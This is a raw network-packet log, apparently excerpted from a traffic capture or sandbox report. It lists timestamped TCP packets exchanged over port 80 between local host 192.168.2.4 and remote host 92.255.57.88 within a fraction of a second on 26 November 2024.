Nov 26, 2024 00:07:47.327495098 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.327538013 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.328264952 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.328308105 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.328377008 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.328417063 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.329093933 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.329134941 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.329210043 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.329247952 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.329885960 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.329926014 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.329953909 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.329993010 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.330673933 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.330714941 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.330796957 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.330836058 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.331475019 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.331518888 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.331588984 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.331669092 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.332356930 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.332403898 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.332562923 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.332604885 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.333137989 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.333183050 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.333206892 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.333250999 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.333919048 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.333961010 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.334028959 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.334069014 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.334708929 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.334750891 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.334980965 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.335021019 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.335624933 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.335669994 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.335701942 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.335743904 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.336301088 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.336349964 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.336405039 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.336452007 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.337122917 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.337162971 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.337198973 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.337244034 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.337971926 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.338011980 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.338083029 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.338222027 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.338725090 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.338766098 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.338839054 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.338880062 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.339545965 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.339587927 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.339620113 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.339660883 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.340356112 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.340398073 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.340456963 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.340497017 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.341145039 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.341187000 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.341270924 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.341314077 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.341988087 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.342046022 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.342137098 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.342206955 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.342763901 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.342803955 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.342873096 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.342920065 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.343585014 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.343693972 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.343755007 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.343796968 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.344397068 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.344441891 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.344476938 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.344516039 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.513212919 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.513283968 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.513339043 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.513370037 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.513480902 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.513529062 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.513602972 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.513644934 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.514286041 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.514348030 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.514436007 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.514482975 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.515104055 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.515165091 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.515249014 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.515297890 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.515953064 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.516002893 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.516042948 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.516094923 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.516829014 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.516841888 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.516885042 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.517529964 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.517580032 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.517613888 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.517654896 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.518323898 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.518369913 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.518378973 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.518421888 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.519166946 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.519212961 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.519247055 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.519294024 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.519941092 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.519989967 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.520029068 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.520076036 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.520752907 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.520812988 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.520901918 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.520946980 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.521544933 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.521594048 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.521631002 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.521677971 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.522373915 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.522419930 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.522483110 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.522537947 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.523164034 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.523207903 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.523341894 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.523389101 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.523969889 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.524017096 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.524080992 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.524127007 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.524763107 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.524808884 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.524863005 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.524908066 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.525731087 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.525779963 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.525859118 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.525902987 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.526410103 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.526463032 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.526540041 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.526582003 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.527228117 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.527271032 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.527412891 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.527458906 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.528053045 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.528106928 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.528141022 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.528182030 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.528811932 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.528862000 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.528937101 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.528976917 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.529639959 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.529684067 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.529747009 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.529783010 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.530419111 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.530461073 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.530541897 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.530580044 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.531229019 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.531267881 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.531339884 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.531378031 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.532049894 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.532088995 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.532161951 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.532202005 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.532843113 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.532883883 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.532923937 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.532960892 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.533672094 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.533735037 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.533775091 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.533813953 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.534476042 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.534528017 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.534599066 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.534638882 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.535363913 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.535408020 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.535408974 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.535445929 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.536101103 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.536145926 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.536183119 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.536216974 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.536940098 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.536988974 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.537017107 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.537050009 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.537698030 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.537740946 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.537831068 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.537866116 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.538502932 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.538552046 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.538578033 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.538623095 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.539324999 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.539366007 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.539378881 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.539410114 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.540117979 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.540165901 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.540246010 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.540288925 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.540929079 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.540975094 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.541034937 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.541078091 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.541733027 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.541774988 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.541846037 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.541888952 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.542527914 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.542584896 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.542637110 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.542681932 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.543370008 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.543415070 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.543488026 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.543533087 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.544135094 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.544198990 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.544254065 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.544297934 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.544962883 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.545008898 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.545042992 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.545082092 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.545769930 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.545823097 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.545855999 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.545897961 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.546556950 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.546618938 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.546650887 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.546698093 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.547430992 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.547492027 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.547508955 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.547557116 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.548186064 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.548233986 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.548299074 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.548346043 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.548996925 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.549046993 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.549113989 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.549160957 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.549808979 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.549859047 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.549896002 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.549945116 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.550590038 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.550637960 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.550692081 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.550739050 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.551403999 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.551453114 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.551505089 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.551553965 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.552253008 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.552299976 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.552335978 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.552385092 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.553030968 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.553081989 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.553117037 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.553163052 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.553841114 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.553893089 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.553952932 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.554001093 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.554652929 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.554723978 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.554847002 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.554888010 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.555416107 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.555465937 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.723710060 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.723798990 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.723812103 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.723854065 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.723850965 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.723901033 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.723901033 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.724584103 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.724634886 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.724735975 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.724773884 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.725373030 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.725421906 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.725464106 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.725511074 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.726133108 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.726178885 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.726243973 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.726288080 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.726782084 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.726828098 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.726891041 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.726936102 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.727606058 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.727653027 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.727721930 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.727763891 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.728462934 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.728508949 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.728523016 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.728559971 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.729181051 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.729228973 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.729289055 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.729331017 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.730005026 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.730050087 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.730097055 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.730139971 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.730799913 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.730844021 CET	49753	80	192.168.2.4	92.255.57.88
